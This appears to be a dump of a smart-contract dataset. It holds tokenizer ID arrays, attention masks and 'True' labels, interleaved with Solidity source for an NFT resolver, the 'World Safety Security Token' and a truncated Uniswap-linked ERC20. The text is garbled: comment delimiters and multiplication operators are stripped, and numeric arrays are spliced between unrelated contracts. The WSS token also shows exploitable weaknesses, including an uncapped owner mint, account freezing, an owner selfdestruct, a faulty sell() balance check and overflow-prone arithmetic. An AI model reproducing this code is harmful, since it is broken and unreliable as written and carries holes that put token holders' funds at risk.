3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3206, 2219, 3085, 2003, 6123, 1063, 4769, 2797, 1035, 3954, 1025, 4769, 2797, 1035, 3025, 12384, 2121, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 9570, 2953, 1006, 1007, 1063, 4769, 5796, 5620, 10497, 2121, 1027, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1025, 1035, 3954, 1027, 5796, 5620, 10497, 2121, 1025, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 1006, 1014, 1007, 1010, 5796, 5620, 10497, 2121, 1007, 1025, 1065, 3853, 3954, 1006, 1007, 2270, 3193, 5651, 1006, 4769, 1007, 1063, 2709, 1035, 3954, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 1035, 3954, 1027, 1027, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1010, 1000, 2219, 3085, 1024, 20587, 2003, 2025, 1996, 3954, 1000, 1007, 1025, 1035, 1025, 1065, 3853, 17738, 17457, 12384, 2545, 5605, 1006, 1007, 2270, 7484, 2069, 12384, 2121, 1063, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 1006, 1035, 3954, 1010, 4769, 1006, 1014, 1007, 1007, 1025, 1035, 3954, 1027, 4769, 1006, 1014, 1007, 1025, 1065, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2270, 7484, 2069, 12384, 2121, 1063, 5478, 1006, 2047, 12384, 2121, 999, 1027, 4769, 1006, 1014, 1007, 1010, 1000, 2219, 3085, 1024, 2047, 3954, 2003, 1996, 5717, 4769, 1000, 1007, 1025, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 1006, 1035, 3954, 1010, 2047, 12384, 2121, 1007, 1025, 1035, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-11-17 / /// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IChromiaNetResolver { function getNFTURI(address contractAddress, uint id) external view returns (string memory); } contract ChromiaNetResolver is Ownable, IChromiaNetResolver { using Strings for uint256; IChromiaNetResolver public upgrayedd = IChromiaNetResolver(0x0); string public constant baseURI = "https://chromia.net/oe/eth/"; constructor () public {} function upgrade(IChromiaNetResolver nextOne) external onlyOwner { upgrayedd = nextOne; } function getNFTURI(address contractAddress, uint id) override external view returns (string memory) { if (upgrayedd == IChromiaNetResolver(0x0)) return string(abi.encodePacked(baseURI, uint256(uint160(address(contractAddress))).toHexString(20), "/", id.toString())); else return upgrayedd.getNFTURI(contractAddress, id); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2340, 1011, 2459, 1008, 1013, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 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pragma solidity ^0.4.21; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } function destruct() public onlyOwner { selfdestruct(owner); } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract / function TokenERC20() public { totalSupply = 10000000000 10 uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "World Safety Security Token"; // Set the name for display purposes symbol = "WSS"; // Set the symbol for display purposes } / * Internal transfer, only can be called by this contract / function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send / function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send / function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend / function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract / function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn / function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /* * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn / function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /****************************************/ / ADVANCED TOKEN STARTS HERE / /****************************************/ contract WorldSafetySecurityToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; uint256 public decimals = 18; string public tokenName; string public tokenSymbol; string public PartnerUrl; uint minBalanceForAccounts; //threshold amount mapping (address => bool) public frozenAccount; / This generates a public event on the blockchain that will notify clients / event FrozenFunds(address target, bool frozen); / Initializes contract with initial supply tokens to the creator of the contract / function WorldSafetySecurityToken() public { owner = msg.sender; totalSupply = 10000000000000000000000000000; balanceOf[owner]=totalSupply; tokenName="World Safety Security Token"; tokenSymbol="WSS"; } / Internal transfer, only can be called by this contract / function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent \| Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract ///@param amount amount of tokens to be sold function sell(uint256 amount) public { //require(this.balance >= amount sellPrice); // checks if the contract has enough ether to buy require(balanceOf[msg.sender] >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } /* 设置自动补充gas的阈值信息 201803202232 james / function setMinBalance(uint minimumBalanceInFinney) public onlyOwner { minBalanceForAccounts = minimumBalanceInFinney 1 finney; } /* 设置tokenname / function setTokenName(string newTokenName) public onlyOwner{ tokenName = newTokenName; name = newTokenName; } / 设置tokenSymbol / function setTokenSymbol(string newTokenSymbol) public onlyOwner{ tokenSymbol = newTokenSymbol; symbol = newTokenSymbol; } / 空投 */ function AirDrop(address[] dests, uint256[] values) public onlyOwner returns(uint256) { uint256 i = 0; while (i < dests.length) { _transfer(this,dests[i], values[i]); i += 1; } return i; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 3853, 3079, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 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/** Submitted for verification at Etherscan.io on 2021-06-06 / // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.3; /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /* * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), _owner); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() 